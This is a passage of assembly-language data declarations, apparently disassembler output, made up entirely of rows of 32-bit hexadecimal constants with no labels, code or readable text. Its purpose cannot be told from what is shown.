		dd 7866A2CDh, 68B23B27h, 0B10CEDC3h, 4B5C8BA5h,	2E04DC8Dh
		dd 800083F6h, 56297632h, 1D09FE68h, 5E2374h, 0A71A6D2Ah
		dd 1FA9F40h, 31F80883h,	32E5E9FBh, 0C7F502BCh, 42DB1627h
		dd 0A518D18Bh, 0D7472056h, 404FABA2h, 271657D6h, 9588D95h
		dd 58EDCB4h, 0A43D1E58h, 8180FFE5h, 0FE6371F3h,	678BF6Ah
		dd 4C971490h, 0D31120C3h, 0FEC70C0Bh, 0CA10DDC0h, 78B58634h
		dd 0DA2B4CFBh, 885B0476h, 0FC21E9C3h, 702D00C1h, 533904Bh
		dd 0A80604F7h, 0AD015A4Dh, 3DFF9620h, 0F37AC2ACh, 79A88527h
		dd 58540C8Bh, 12133FE6h, 7A1C1A6Fh, 0C9A37796h,	0A6748416h
		dd 0D55050FEh, 6A746681h, 4FD3F450h, 0D4D2F9EFh, 330B01E5h
		dd 0D8F777EBh, 16D4C320h, 82F123Bh, 0AD28B70Eh,	48356DF4h
		dd 42FF3E51h, 0F4FEE98Fh, 69CAB7Eh, 0F8179B6Fh,	9F3E172Eh
		dd 67DE1130h, 2D006BF6h, 27DD740Eh, 0A105D829h,	0FB715B07h
		dd 40322460h, 650268EDh, 5A14513Bh, 9E77E09h, 92743012h
		dd 1EB5074Fh, 7C16D709h, 2E92AFFCh, 60BFBA5Ah, 0A9138F07h
		dd 435F284Eh, 8B0C4414h, 0D5EE755Ah, 0EDB607D2h, 5ACBE610h
		dd 96E3F9A0h, 73E60ECh,	214C4004h, 2CEB5A15h, 0C0F3AA8h
		dd 4958C3B6h, 59B96C6h,	804A922Dh, 4197AC76h, 3B452007h
		dd 6FE1A270h, 8BDF4BBDh, 83DB1E77h, 5EE73585h, 2CAEA885h
		dd 64B53C9h, 63E8DB99h,	0BD2EE135h, 83BFD630h, 0F3D6F219h
		dd 0BE5FFB1Ch, 0C866C401h, 0B26EDE01h, 0FC98D3D9h, 0C8B04A27h
		dd 94266825h, 0E6C2F71Ah, 0BFD246CDh, 0A4B13623h, 1D40B310h
		dd 298EBEC1h, 0C8D7DA5Fh, 0F5906F9h, 0E1E9BB65h, 2B92EB32h
		dd 4B026B31h, 1520A64Eh, 0D6821222h, 2B5376AEh,	0DB40D590h
		dd 1DD35E31h, 0DF0339C7h, 5F585750h, 3C396899h,	31B24E68h
		dd 5C4884Eh, 4E459C9Eh,	0B73BEFB1h, 4BF93BBAh, 0A100A4F3h
		dd 810BFD1Dh, 6517BECBh, 0B7E4596Ch, 334CF4F3h,	4B0C4917h
		dd 0E929D988h, 31FA6F2Ch, 287C116Bh, 67A07FD6h,	4E23503Ah
		dd 8490C176h, 0DBEF701h, 68E939A1h, 7F8E8D3Eh, 5C27B2DFh
		dd 176E1C79h, 0B2BB04C4h, 0F3FAC4ECh, 6641EA16h, 0F4589234h
		dd 5D10212Ch, 7B902B8h,	5D62BB17h, 0CE6CB400h, 5061E91Fh
		dd 60F268C9h, 0ABC24438h, 61C1DEF6h, 4152257Eh,	0E9692BDCh
		dd 74106A25h, 592600EEh, 5B053DDBh, 6D100945h, 0AF48F3E9h
		dd 575C5AD1h, 0D0C82FF0h, 3A0BD4Ah, 2C985D18h, 8ED0E913h
		dd 927635CCh, 0F7801E36h, 804C12A5h, 40485D49h,	368A6816h
		dd 9A1064E3h, 0D0BB2F92h, 0BEE8FF8Dh, 819D9679h, 2517675h
		dd 66894101h, 13BE00AAh, 1D373040h, 9E4FF4D8h, 0D6313B02h
		dd 0DDFB88E9h, 5059DCB8h, 20215458h, 62BA03C2h,	312C2F44h
		dd 403CCBCCh, 0AC14F28Eh, 0BBAA88Eh, 5599181Fh,	868B280h
		dd 709D329Bh, 4835EF4h,	0FE055C4Fh, 386086DAh, 142B2C09h
		dd 0FB09C1FEh, 0FDEBD4D3h, 0C5D5FB4Ah, 0BD39A8E4h, 0C14AFE59h
		dd 61F52F8Dh, 4B1F0330h, 14413086h, 5C5EA53Fh, 2F0D0F00h
		dd 9E3811Ah, 1630E6Eh, 0C278F2C0h, 64E91308h, 99D83A3Ch
		dd 0BD80CE69h, 4F6E0398h, 6E6C100h, 4D3CF681h, 11A680D2h
		dd 73F76680h, 0A9767D0h, 691CD7D7h, 0FB354A24h,	0B32ED0A1h
		dd 30A1C0D4h, 0EC586AE4h, 85466259h, 0E099FCDCh, 4CC9785Dh
		dd 562278Ch, 0DFBC5432h, 27687904h, 40DB806Dh, 5B607F61h
		dd 580935BAh, 22709F36h, 6D38609Fh, 341695D8h, 1CC2689Dh
		dd 0CDC937Ah, 0BF84B1D4h, 7EE218EAh, 90110A9Dh,	0F7B92F12h
		dd 63A2E9A3h, 0A5A3BBCEh, 7ECEACE1h, 277814A2h,	0D39847E8h
		dd 36949405h, 52655F69h, 3797402Dh, 14C9254Bh, 0A46242D9h
		dd 435B027Dh, 1AB08660h, 68330509h, 91987855h, 8147802Ch
		dd 0D24B45C7h, 27A30D50h, 0A0978000h, 55FF889h,	963766Bh
		dd 3D6A2D64h, 3B3321D0h, 0B2E5E1ADh, 5F89FDA5h,	29698D1Eh
		dd 17A088A3h, 2FF25614h, 885265h, 3644DA4h, 4A67ED81h
		dd 13C15F5Ch, 0FF601DC9h, 0FC3538CFh, 5BD92731h, 29742255h
		dd 930D03B8h, 55080F80h, 60162C4h, 0FF166804h, 0ED4077CDh
		dd 942825h, 27442D77h, 0D8F7599Eh, 0A8354000h, 54B0B1Ch
		dd 0B5651288h, 1966B8CFh, 5566CB4Ah, 0ADAA920h,	0BD42FD70h
		dd 0DD310905h, 0B514E655h, 17276E6Ch, 841B6709h, 0AA22EAE9h
		dd 892FCBCBh, 0A3C1D29Bh, 83BB2454h, 5001C727h,	0BC942004h
		dd 0DE9FF6C6h, 0CEF6A032h, 75892014h, 0EA95490Fh, 5BDE05A7h
		dd 0A1D70EEFh, 0AE02D5Ah, 0E8732679h, 204C2923h, 0A6594C0Ch
		dd 0E9F2B096h, 2501E75Bh, 16013EBDh, 0CD09F12Eh, 2BC6F94Dh
		dd 8FBEC316h, 0A28D1072h, 4900F669h, 71F8A6EAh,	0E39B3EC4h
		dd 4A792CA4h, 0A971EAA2h, 0CD3F7E10h, 0F01325A2h, 0C5BDBA57h
		dd 0F43D34A6h, 4C6BD445h, 68DC0193h, 313B0D2Ch,	2B02692Dh
		dd 757349CEh, 3A9FB0DAh, 0A56B8FE9h, 3A5C6D7h, 2B5FA3EBh
		dd 84B52922h, 5D080162h, 2F7EBB68h, 0B6C03731h,	2C423D3Ah
		dd 5C4689D7h, 52C398D5h, 903E49C2h, 0EB97A412h,	0CD014D9Fh
		dd 4AA54079h, 0BB38F30h, 3153E033h, 0AEE560C0h,	50394525h
		dd 968026Dh, 0EB01750Bh, 0E1FAD1FDh, 2FCFE2E9h,	0EE04EBF9h
		dd 0C0472D42h, 9889C62Eh, 14AA412h, 0E92000EBh,	7F95635h
		dd 808CEF3h, 4ACD1C30h,	5F320B52h, 0E5750C87h, 0F31E0B7Ah
		dd 0AEA245D7h, 58549CC1h, 21BCDEE4h, 314EB402h,	7AAFE9EFh
		dd 8BCB265Bh, 0F86F16AEh, 9677C531h, 0B7780821h, 42BA6A81h
		dd 3B098564h, 0EE77EBF0h, 0C386050h, 0FD458EDAh, 6F20DF9Ah
		dd 0A2F080DDh, 50E32767h, 0F9925654h, 0C10C61AEh, 0EBE7002h
		dd 10245E4Ah, 0C8924F9h, 45C3D510h, 60BA5F48h, 0A071295Ch
		dd 0B20CC05Ah, 0E9405546h, 0BAF2262Fh, 5E7DC8B4h, 3227C7Eh
		dd 3A1356E2h, 0CAB84278h, 1924558Dh, 0D3188926h, 0A0F5896Ah
		dd 0E201C5D3h, 0D720FFE7h, 0FEE92506h, 68438460h, 6666E225h
		dd 12B91763h, 5D130577h, 93CA676Ah, 8B6083A7h, 5E1770DCh
		dd 5B4DF87Bh, 0D175AFFBh, 7823A3BEh, 0D592C230h, 4F05BAF5h
		dd 85C0C59Ch, 0FF9AC5E1h, 0F06EC9A3h, 11FB0D00h, 3F09F281h
		dd 34D9010h, 7B4AFFEBh,	1D3A09F8h, 0AFFD5C6Bh, 0B0274B3Eh
		dd 4F0DE9C4h, 0C54FEC57h, 0E0B94C53h, 0B5700380h, 0E768D11Fh
		dd 6A048176h, 0FFC34A5Fh, 683881F0h, 668B816Bh,	0D075642Dh
		dd 5140719Dh, 0CC1B715Ch, 95E145Bh, 76074CE8h, 704605B0h
		dd 0B16DCFE6h, 884E0F30h, 17A0179Dh, 4068E966h,	2908BB2Ah
		dd 81002BB3h, 5B506FCBh
		dd 12E3D15Ah, 8C70FA68h, 79B7DFADh, 0CAB83EB6h,	734BB4Bh
		dd 816494h, 97416E9h, 0A2506058h, 492635FCh, 7B3D99Fh
		dd 82E1C580h, 0BA75E5F7h, 0F5FEC3FDh, 507F9ABFh, 8383CF09h
		dd 0F01DBAC3h, 5314929h, 2B1A8619h, 0B6B7FCDEh,	46682CC2h
		dd 0ECB8750Fh, 81829F72h, 0A00AAAD1h, 13B27ECBh, 0EC5DB314h
		dd 514EC09Dh, 5B1A62B9h, 50CEE03Ah, 5CAF183Ch, 64125AB7h
		dd 15144AFCh, 28278488h, 517D6FC2h, 2A49EB50h, 4F6C2CB6h
		dd 473CB1ECh, 2E8949A5h, 7EE282FCh, 494AD9BEh, 4E24E1DDh
		dd 5DC28042h, 580BF1D9h, 506E276Dh, 8BC2D6FEh, 0C5D9C104h
		dd 0EA1F0E69h, 9CDE429h, 0C2669624h, 4EEF1138h,	59E562FBh
		dd 0C7751E5Ah, 5DEEC9Dh, 6CF84FD5h, 99898431h, 4EB17A67h
		dd 0B5D3F97Fh, 407F2CAAh, 88F7C4A9h, 137CBBD5h,	0F8ABB029h
		dd 0B041E840h, 14B10F0Eh, 16F7646Dh, 462E0512h,	1825ED9h
		dd 285BFD88h, 0AC8270F5h, 0C29ED6B5h, 6118746Eh, 1F53B79Eh
		dd 0E2EBD949h, 3275E921h, 7FCC099h, 5CCE4D68h, 9B6F4CC6h
		dd 432FA4B2h, 3DA9F3C1h, 0C7FC9325h, 0C24A5C25h, 0CF8CC231h
		dd 0F60481A1h, 214610BDh, 0A9C0FE83h, 1F201F49h, 0DB3B16AEh
		dd 17AD53FAh, 0AC621A00h, 66BA651h, 2878204h, 18D205C8h
		dd 7C530Ah, 0BF8731C4h,	38EFA244h, 681C5CADh, 552525AAh
		dd 46A14A96h, 0D31A68D6h, 0E99A6CBEh, 0A54E324h, 7D7F5AC2h
		dd 1901DBE4h, 680AD23Bh, 0CC6A625Ch, 796276E0h,	5B13143h
		dd 343286ADh, 21FEDB5Ah, 0EC306A78h, 0A09FCDB2h, 313765F0h
		dd 40159817h, 4F0BBEE2h, 295A9E53h, 0F1625D81h,	0D49E6870h
		dd 96E95684h, 0A84ED8ECh, 60E4A744h, 55A9A90h, 0C96E0B76h
		dd 0BD582906h, 63E80883h, 4A7D1269h, 72DE828h, 685B5D05h
		dd 8C220380h, 0E359FFE5h, 0A5B03697h, 28BD965Bh, 3DA904B2h
		dd 80506367h, 8C64B7D1h, 40B8341Dh, 29740186h, 4376972Ah
		dd 77AFB409h, 0C5A47BEFh, 7D4CC610h, 0D22A1210h, 0C8673C09h
		dd 0B5565E67h, 0CE62D1DEh, 70A5E159h, 0D77E9215h, 6A0C20E1h
		dd 3BF4B82Dh, 0D94581EEh, 257D2853h, 1205735Dh,	512A703Eh
		dd 48708968h, 51927EBDh, 2133E67h, 39C0CBBEh, 257C063h
		dd 0EE06853h, 86727A75h, 0BF4BC93Ch, 0D0E90B44h, 0EEEC7FDDh
		dd 79D8DA2Dh, 66A58B16h, 6507676h, 285A81B4h, 30FFB599h
		dd 54F0E90Fh, 0CB8228B4h, 772CEF5Dh, 68386BD0h,	7230CE61h
		dd 144BFD3Ah, 0AED831DEh, 0E87B5151h, 5F0E1E8Fh, 0E8E80D92h
		dd 2B724B05h, 0C97D8068h, 5440BC51h, 2D340C5Dh,	8D0E4E4Dh
		dd 65400B7Bh, 139904C6h, 0A4216DDCh, 3C38A204h,	0EF2993D4h
		dd 318BC3A2h, 0F3AF7D70h, 0B5E3CCAFh, 44BDF5Ch,	52D84E91h
		dd 5B0F4020h, 39003B2h,	6D3A0A16h, 87C380BEh, 523F56F1h
		dd 2C12DE5Eh, 0C7FAB104h, 0D241EC1Eh, 47A6D1F5h, 0BD5954E9h
		dd 0E63A161Ah, 3094DDFEh, 8295FCFAh, 0D1C42CABh, 0BB5365DDh
		dd 442EDBF1h, 0DA25BA1h, 0E829B455h, 8B57E31Fh,	0C6319EAFh
		dd 54F624AEh, 1F025F4Ah, 48562B18h, 1D6C02EAh, 84C7810Fh
		dd 0EB7FBE68h, 739961C0h, 0C1D94A01h, 3FA112h, 4B6F685Eh
		dd 4097CD6Ch, 9E40152Dh, 0AAE9751Ch, 4951FE6Dh,	0E7A055D9h
		dd 6DA4479Bh, 562A9742h, 0A1F863A2h, 0BEE26328h, 9060A941h
		dd 67D374F6h, 0F25B49DDh, 0A277DCA6h, 0E8F9568Bh, 5F4CB3A9h
		dd 0DC330588h, 2358D1D5h, 79D5C250h, 0A25569A7h, 568BE968h
		dd 9B83FE1h, 42CC81Dh, 0A34EB168h, 2D981C6Eh, 9D20FF2Dh
		dd 0A91072C5h, 760740h,	2D219BD1h, 5C9A7B26h, 5E80114h
		dd 49B54F07h, 814557F2h, 3AF100BBh, 0E926F025h,	81069EC9h
		dd 3D01C4C7h, 5EC82033h, 65873224h, 81C683Bh, 14161C34h
		dd 0C2F40507h, 0E998550Bh, 0F213DF2Dh, 961F1A4Bh, 305F4703h
		dd 8884B429h, 0EECA0813h, 0F65728h, 11C82BC7h, 13980548h
		dd 8712593Ah, 18F94DCBh, 0CC6636A1h, 2DA8F03Ah,	0E0E8AA1Eh
		dd 0E9DF036Fh, 8AEBD428h, 202C203Fh, 915811B4h,	13A82085h
		dd 30F2B6h, 0F08850FDh,	0B8B0D0F6h, 0BF3D2ABCh,	35CA4C01h
		dd 0E6BE11A6h, 0BB22C5C3h, 59A83CAEh, 8C0ACD90h, 0E31C3B77h
		dd 0E90D8819h, 0CF7B91C5h, 6B3C102Ah, 0EEB1510Bh, 81E3518Ch
		dd 3B69F21Ch, 0BCC9635Eh, 8B3579D2h, 94D5DC61h,	0E75B300Ah
		dd 5859EA17h, 0DA49A524h, 0A9470B3Ch, 3622000Ch, 48606211h
		dd 0EA5F7021h, 0E9050541h, 4E7FA9E8h, 81676419h, 0E274B21Eh
		dd 0F480DD0Bh, 28EC0644h, 0BA525F03h, 1E3C1DBDh, 49B6F25Ah
		dd 7C857647h, 385BFE42h, 84B0F08Ch, 0A6C29585h,	0D45A7174h
		dd 8E6861CAh, 73EC630Ah, 45ECE57Ah, 0BB08C69Bh,	94853E16h
		dd 0C34CE133h, 4B76FE26h, 50CA7697h, 7FE1493Ah,	88D6F7F9h
		dd 8F5A1359h, 61B3DC46h, 75D14825h, 657B955Fh, 98B3AF10h
		dd 0EEE9059Fh, 0C443BDB5h, 0EB12AB8Ah, 0E5C05703h, 0ACC5B103h
		dd 59CE2BF9h, 0A883256Bh, 56A32779h, 605EC7B4h,	0E95114FAh
		dd 0EB742E24h, 8B6CE840h, 20B5B150h, 4B1CC008h,	5B3DD471h
		dd 0A14467B5h, 98260BA8h, 43C64857h, 9CCEB7CCh,	269A4FF6h
		dd 56705C97h, 0AE9A8071h, 506CB213h, 0C840AC0Dh, 12B5C3F4h
		dd 0E391A3E9h, 17DC05EBh, 80033A4h, 2CA70103h, 32680250h
		dd 5855445Ch, 80FECD8h,	0E3572F37h, 765DCFE9h, 0B43BFE99h
		dd 0D168E135h, 0C4822C62h, 0ED27BD2Bh, 4CA83C36h, 65441881h
		dd 2ACCB43h, 68020C2Dh,	0E9026334h, 86095DA2h, 253FC545h
		dd 59B68027h, 2F682C2Dh, 54787BAAh, 41416631h, 97890C3Dh
		dd 60461807h, 558715B6h, 46AB8B54h, 6E74091Dh, 0A8007EB4h
		dd 313F2F53h, 0E203B092h, 724D76DFh, 0D3A6C787h, 1C28C708h
		dd 0FACD84BFh, 680A73B6h, 0C288262Ch, 72F1D370h, 5FB08F46h
		dd 5ACDAC19h, 0D1B613D3h, 0D92EC01Bh, 306E205Bh, 12A12316h
		dd 8AF50EBh, 0F94A6642h, 1D378471h, 0F1BB900h, 0CF9885BCh
		dd 4C0B852h, 7B184835h,	3094D7FAh, 0AF4BD2DAh, 0F48DE913h
		dd 67C399EAh, 0E9EF058Fh, 39EAE55Dh, 0FF93B01h,	9856FB5Ah
		dd 768FBAh, 0FC90B5Ch, 9D8C2F84h, 274E5E6h, 76E289C0h
		dd 98573345h, 0FA8E1F3Ch, 0D4006DFDh, 0CF9EE950h, 5258A59Fh
		dd 5DC62090h, 0F648C48Ch, 4BDEF71Ch, 0E9C22FADh, 0FB7E3B41h
		dd 0F9BE8FCBh, 783C0927h, 51DFE29Ah, 0F659E9BAh, 3FABEB43h
		dd 0F680B477h, 0F1F480DCh, 278E4C0h, 0A8E9D413h, 5DCC7AE1h
		dd 2BF7264Ch, 0B3A7028Eh, 78FFD408h, 82E05A6Dh,	19415840h
		dd 109C689Eh, 29094C7Bh, 91FF05F8h, 172BB6B8h, 6EC1A5DBh
		dd 55127DA2h, 572CEAA8h, 5A9578D1h, 0E902C891h,	85A1EA5Bh
		dd 54812A7Ah, 0C34A9AB7h, 2F6858CCh, 0A359367Dh, 0C152D89Dh
		dd 7CE91A60h, 7064BF03h, 6E7E4412h, 1E6A4C05h, 4C96E87h
		dd 28090E3Ah, 0D9C86EC0h, 0EEEB489Fh, 663B123Dh, 5F3E80Fh
		dd 31CD71BBh, 9E288C0h,	0A0384AE5h, 2D0940F3h, 740E30DDh
		dd 10FF0899h, 3500C42Eh, 0C1160D32h, 5ADEB0E3h,	88FD0745h
		dd 5AD121FAh, 2378EC5Bh, 5326EC91h, 9C4B4301h, 0E02B593Ah
		dd 32028B89h, 0DEE909DCh, 12715FCCh, 0FDF15569h, 0B2F6841h
		dd 4C60CC3Bh, 4C46D5F5h, 8FF266A0h, 6EE95D0Bh, 602E2BD8h
		dd 91B0C090h, 0BD5A92CAh, 0ECFA10EAh, 4F36BB00h, 2A684698h
		dd 0C8E4335Ah, 8B08BCB3h, 0D75962F1h, 0A717C6CFh, 0A7769828h
		dd 0ACE90D7Dh, 11472A91h
		dd 564E606Ch, 680922A9h, 5FDC2623h, 1146F7CAh, 0CDB9025Fh
		dd 9373E03h, 7DD9A62h, 7A155D99h, 2A15B1AAh, 0BF59A98h
		dd 739364CBh, 6CACAEF7h, 773166DEh, 0CF1D30C1h,	4BCCBA0Eh
		dd 860EB324h, 0BE6C9D03h, 16E47A31h, 0AE05F775h, 7F290E88h
		dd 0E9DA13D3h, 5DA2A00Ah, 0C89D7AAEh, 95D7CB2Ah, 0A25F872Bh
		dd 7DCAD284h, 13BEFFDBh, 5AFC1D46h, 0D1050B9Eh,	1CD95C22h
		dd 0AD42E577h, 0FD2FEB5Ch, 0E924E594h, 0D18945F0h, 649203E7h
		dd 5B743CEEh, 0C70E8A4h, 87C161C5h, 0A6CCE0FDh,	0DA3EDEBFh
		dd 53013977h, 0B3432C2Bh, 19200206h, 0B60BB7BBh, 0BA92013h
		dd 64871547h, 11D696DAh, 94FCAEAh, 762BF368h, 796E6284h
		dd 0C1DB9A57h, 8C586223h, 43A12CFh, 0CBFB0D35h,	6D03310Dh
		dd 44C325D2h, 9A6F2291h, 42C0C202h, 0F7591E7Ah,	5C65C673h
		dd 882ED589h, 184050E6h, 0BD942DE9h, 37A29CE6h,	4F11F977h
		dd 0BA2352BEh, 0CAEF4161h, 51D0207Ah, 7A00B2B9h, 0F1811EB5h
		dd 17AA3048h, 0EBD9F764h, 0F6BB2C18h, 31351E5Ch, 265BC92Dh
		dd 58B29C7Dh, 631011C8h, 13EE586Dh, 67FF3EBBh, 0E9FC21D3h
		dd 80B15003h, 284A2BF6h, 63FF44BAh, 27BB10B9h, 73B84255h
		dd 8F0649EBh, 0C3174B0Ch, 8AEC2817h, 92A1FA75h,	2EBB05BBh
		dd 145D71Bh, 4E4BC48Eh,	4EC2B72h, 0D97E0841h, 6540FA17h
		dd 49E31EFh, 4238AB82h,	0EF6455D4h, 0DA53F604h,	10BB2916h
		dd 0C610849h, 0C67B2487h, 20D26C55h, 0EF83D3DCh, 8AEDBDE5h
		dd 0CAC1A551h, 9A2E0C8Bh, 0AAE90B22h, 3B971FAh,	0F366FDBBh
		dd 3DD0BE95h, 64FC0BF5h, 93DC66Eh, 0E4894049h, 227582A6h
		dd 0F7E2CA8Eh, 0B7F068C4h, 25F1DB49h, 953A08DDh, 13FBF500h
		dd 0E6E93FFDh, 5122D845h, 4595DA32h, 4AF50950h,	0D7C2675Eh
		dd 0C2D35697h, 0C55EA0FFh, 97C2CFE7h, 0F108CA93h, 13C76A05h
		dd 9128259Fh, 7FDD9B70h, 6E83543Dh, 5D0E5B67h, 19785C37h
		dd 62438660h, 11899704h, 5F9A465Eh, 0E2658286h,	215A020Fh
		dd 49CB44FFh, 0E95AE85Eh, 6B18926Fh, 17EE805Bh,	0E9A9682Ch
		dd 0F7B68BD8h, 369C75E6h, 0B5055858h, 6810CA16h, 0E9097B91h
		dd 0E47794C3h, 850B4E3Bh, 4C5FE68h, 70EA8E17h, 66A76867h
		dd 542A46A4h, 0D3F062DBh, 0CEBDCD6Fh, 90CB0BBFh, 0B5963BBEh
		dd 0AF05C5E8h, 6D1A6403h, 0B532685Dh, 525233AAh, 1B2D2ED0h
		dd 815A4501h, 357147E2h, 6107DDF6h, 8080AE42h, 898DDD93h
		dd 728665B8h, 9C82601Fh, 0E900E1A6h, 3F0E2075h,	23F95801h
		dd 316F8C10h, 26E43068h, 0FE1A330h, 3890331Dh, 0A37E5D84h
		dd 6B25127Bh, 6D9061D0h, 25327B3Fh, 0C37A0D51h,	5904580Ch
		dd 247F4857h, 15FCCB0Ah, 0AD04B1C2h, 0A851D831h, 0CAAFA46Bh
		dd 74DD4CF5h, 34402905h, 39B08BE9h, 4BE3DE5Ch, 3144C13Eh
		dd 8B5ED9F0h, 0EE61E129h, 51451564h, 0A46EAD17h, 0A0BD61D2h
		dd 2C1EC61Dh, 5A3D7BA7h, 580C0EF9h, 0B9E142C4h,	4A2F02A5h
		dd 0F5096F90h, 474D457Ah, 0EF831D19h, 5F382D3Ch, 45F60192h
		dd 0AD54551Bh, 9D0540C9h, 89EC45EEh, 409F8BDAh,	37B403EEh
		dd 2296805h, 0FC041CF3h, 0EE6AA574h, 16854CA0h,	0B102124Dh
		dd 44A16EF5h, 74CEA96Fh, 594D7EAh, 0CA98418Bh, 6D1D8119h
		dd 0D720375Eh, 0E9B80150h, 539592Ah, 67BEEC1Ah,	3D7FFEAh
		dd 841004B8h, 544C6381h, 0C10D0A67h, 10A802E3h,	79AC2DD1h
		dd 0DD8AFF4h, 2AF91490h, 0F8315B04h, 68C820BEh,	7B930E02h
		dd 0D66B901h, 7FE60F71h, 0B2013CF8h, 0E965A647h, 0EE14D20Ch
		dd 1C50DD31h, 0FEB22250h, 53F23980h, 6802CA82h,	9BCC52F7h
		dd 6CB8D35Fh, 0B6DA7D16h, 99D740D9h, 309A719Fh,	0DC6C9F90h
		dd 7AAC3A4Ah, 7020E983h, 7C0CCCBFh, 0CE0AFC12h,	0BF7612BFh
		dd 97F94538h, 0F91CDC0Bh, 0D1862295h, 0D016F569h, 761B520h
		dd 0B779A9B9h, 0AEDEA423h, 29BABE12h, 0CA633E5Dh, 0C599FD5Fh
		dd 5642C741h, 5A028E6Eh, 0A2FB0087h, 57D5F796h,	1C5AFE66h
		dd 0E2AF5B84h, 0F88AC956h, 2571996Dh, 0FD7D1FD0h, 4E26D859h
		dd 0E4D7D6EDh, 5E01AB1Eh, 62BB4DC2h, 31F85B6Bh,	0FF119FEBh
		dd 0DFFC3EC1h, 0FE0B62C5h, 78E9FD61h, 7548BD3Ch, 37F2EF02h
		dd 2DE26D7Ah, 0F5658BFDh, 0E751B839h, 2FA268FBh, 746C5DD6h
		dd 213F1361h, 2805CB0Bh, 593A0FF7h, 0B5205F5Dh,	97AB4BE9h
		dd 0E0F64EC4h, 6A04E897h, 40ECBC58h, 784A62D5h,	7E0C100h
		dd 38660325h, 72E92560h, 923D4BC5h, 0CBFE8DEEh,	0B2F47EA5h
		dd 597048BFh, 6517C93Bh, 40BDAA58h, 9008EDBFh, 7045BC3h
		dd 9FEBC027h, 0FC21F384h, 0E5DD60CEh, 0B1C567Ah, 447E6836h
		dd 0BE25C3E6h, 822324FEh, 592658FCh, 2E484385h,	6BBB1200h
		dd 0BE361E51h, 0D60BDF6Fh, 0BF1B4056h, 0B4C7D522h, 76CF312Dh
		dd 0A717C265h, 0F56253FCh, 0EA80013Fh, 0A1CEE06Ah, 875F389Ah
		dd 245E0DA7h, 88A4FB45h, 0CF5C12C0h, 7198BD7Eh,	0EB0111C2h
		dd 2525565Dh, 99620859h, 57CA937h, 0F5E025DFh, 0C1F75201h
		dd 1CA409D3h, 0ED044A7Ah, 638B4A5Dh, 0A2C587A0h, 52C2B108h
		dd 5857A283h, 26062CF7h, 0D308A7ABh, 92EB5FC0h,	95773DDh
		dd 7F0512C8h, 535034B0h, 0E5E4C09Fh, 38B8FC4Ch,	1EAFCEBFh
		dd 0FE89ACDEh, 0FD03AB05h, 0AD74918Eh, 2809525h, 9B68E2D1h
		dd 0BB602896h, 58F818DAh, 871D3079h, 9DD1AEBh, 0D0C03863h
		dd 55603812h, 58E6DA8Ah, 95317559h, 730A1490h, 73F9A3D3h
		dd 0BED2755Ah, 5850DC9Ah, 0E9DD12F6h, 0F8AA8532h, 0E668020Eh
		dd 0D74B4F2Dh, 0C0C61230h, 9629B5h, 5A5765D5h, 9230FA59h
		dd 0EBA1FBFh, 0D3BD65Bh, 600D0A24h, 0B827E996h,	49907A11h
		dd 0B34ABDD4h, 24529517h, 688273B8h, 40C4110Fh,	0BE138686h
		dd 0BBF48A83h, 27DB0928h, 0DEF36020h, 941FF68h,	0B1B57AF4h
		dd 6F393F05h, 5EC3F674h, 0B4FA311h, 844667B5h, 0F3FA3F49h
		dd 4B683EF5h, 0CDEADACh, 0E15D2C4Bh, 6DFFBEAAh,	29DA641h
		dd 52A34505h, 2CFD02D5h, 0D93102AFh, 0B139E498h, 6B14A282h
		dd 35086C61h, 64F94E42h, 95EFC487h, 40C0EDA2h, 8B82E4C5h
		dd 0A415D419h, 89FC1597h, 4FF7406Bh, 87752565h,	138869A5h
		dd 0EC6A16C1h, 84BCDDE4h, 0AC901B6Eh, 0C54117EAh, 0C6F7AE56h
		dd 0BB454735h, 0D9BBA635h, 53576085h, 0C4049B4Dh, 89A8A0D1h
		dd 0A5DEA8A4h, 68C74402h, 406177F6h, 290D89C3h,	4344FDCAh
		dd 0A471C2Ch, 3A100FACh, 6278092Dh, 2953520h, 5090B753h
		dd 2AF041B4h, 0C99454E8h, 0AFDB3062h, 80E16954h, 63541D2Eh
		dd 0E58BA018h, 9503030h, 1323340Ch, 0C11F0F7Ch,	76870E63h
		dd 0E713E901h, 0ADAA841Bh, 0A74E85B2h, 0E9BF68EEh, 21076B4Bh
		dd 2172CD29h, 4FD45EC7h, 0FC689EE5h, 0A3AEE5DBh, 10914C85h
		dd 874E9237h, 1ACD87F7h, 4E58EF5h, 0C207ED66h, 0DFE47A0Bh
		dd 95CCF801h, 53803547h, 0F416D5BBh, 4EE97E3Fh,	17089092h
		dd 634F1B42h, 5AF05E01h, 61616C5Fh, 0C044207Bh,	0E75A6AD2h
		dd 844BCFA8h, 5ECAEEB0h, 0B2655CCBh, 52190589h,	3DDA9FA0h
		dd 92C18AF4h, 9156FBFh,	93EFF03Bh, 95F6EA02h, 742298E9h
		dd 321D622Dh, 2CFE084Ah, 6641E0C4h, 6B3D1468h, 909FDA2h
		dd 0B05F852Ch, 5B46B31Ah, 41B8B428h, 4131EF41h,	0F36B9F31h
		dd 0B4D89961h, 17E3B320h, 0CDD71AE9h, 945641FEh, 329D2FD3h
		dd 8640AE2Ah, 703B1CBDh, 95DFA12Bh, 0A21189E8h,	18A27591h
		dd 6A483DE9h, 1A0FBF57h
		dd 656E192Eh, 0A15D60C7h, 0D08989D3h, 16103024h, 0EB121F4Ch
		dd 4F073910h, 0A0EF0F61h, 0F9313896h, 4E690424h, 0ECAB3301h
		dd 2A40FEBh, 424A00D5h,	0C81749E9h, 5CA73573h, 0A5E9786Ch
		dd 50E38C4Ah, 0FB96F613h, 0AAA8C229h, 59086282h, 3DD238F2h
		dd 0E1D4ED0Bh, 3EAB007Dh, 0D2113A72h, 35A380ECh, 52274337h
		dd 0E20EC232h, 5C86199Eh, 0BC5D163Eh, 0A3BAA440h, 8CFD1223h
		dd 3E3A444h, 0D56A1EAFh, 2D02B976h, 0A9A3D4B4h,	0C8EFA357h
		dd 9D3B1C1Eh, 0B7DC2DD5h, 8B315CD1h, 86DD4CE7h,	1ED00525h
		dd 0D4AFA793h, 8CE978B1h, 0E9EFAF95h, 5AA7E606h, 31B1092Ch
		dd 98851CF7h, 0FF229FD3h, 0BEC1F901h, 0CE96EEAh, 40A7D39Eh
		dd 46CA3541h, 0B4C54DCDh, 0C320036Ah, 767129BEh, 0A3E2073Dh
		dd 0C0701A11h, 848D92EAh, 0ABE9E40Ch, 5F32F9Bh,	4CA205BAh
		dd 0E7DB034Bh, 0D58F2C70h, 0FDA181C3h, 0A1323022h, 7CC83D02h
		dd 5FB225E9h, 74C9664Ch, 3CC30447h, 840E2A9h, 0D1BD27E9h
		dd 17AC40D1h, 0C196C813h, 430E9004h, 0DD5A2F57h, 6FF7C03Ah
